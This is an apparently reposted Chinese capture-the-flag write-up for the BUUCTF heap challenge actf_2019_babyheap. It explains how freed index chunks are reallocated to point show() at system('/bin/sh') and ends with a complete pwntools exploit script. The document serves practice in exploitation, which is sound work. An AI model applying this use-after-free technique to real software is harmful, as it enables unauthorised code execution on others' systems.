BUUCTF--actf_2019_babyheap1

发布时间:2024年01月07日

这题看名字就知道是堆题,先看保护:


保护除了PIE全开,黑盒测试:


题目提供增删查,没有改。看看IDA中代码逻辑:


逻辑跟我前面做的一题极为相似,就不过多分析。

这是free:



因为题目不能改写got表,但是题目给了system函数地址和bin/sh。因此我们的利用就简单了。直接利用show的调用方式去调用system函数。

我们看看申请三个堆的情况:


圈起来的是索引堆的内容。

漏洞利用:

想办法把索引堆释放并申请回来,在上面布局我们的system(bin/sh)

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

io=process('./ACTF_2019_babyheap')
#io=remote('node5.buuoj.cn',29583)

def Create(Size,Content):
  io.recvuntil("choice:")
  io.sendline("1")
  io.recvuntil("size:")
  io.sendline(str(Size))
  io.recvuntil("content:")
  io.sendline(Content)

  

def Delete(idx):
  io.recvuntil("choice:")
  io.sendline("2")
  io.recvuntil("index:")
  io.send(str(idx))

def show(idx):
    io.recvuntil("choice:")
    io.sendline("3")
    io.recvuntil("index:")
    io.sendline(str(idx))
    
  
system_addr=0x4007a0
binsh_addr=0x602010
#gdb.attach(io)

Create(0x20,'aaaa')
Create(0x20,'aaaa')
Create(0x20,'aaaa')
#pause()
Delete(0)
Delete(1)

Create(0x18, p64(binsh_addr) + p64(system_addr))

show(0)


io.interactive()

文章来源:https://blog.csdn.net/qq_30528603/article/details/135434368
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。